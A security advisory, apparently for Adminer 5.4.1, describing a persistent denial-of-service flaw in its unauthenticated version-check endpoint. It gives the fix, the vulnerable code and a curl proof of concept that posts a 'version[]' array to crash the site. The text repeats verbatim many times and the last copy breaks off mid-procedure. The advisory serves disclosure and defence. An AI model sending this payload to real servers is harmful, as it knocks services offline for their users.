vrana/adminer

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

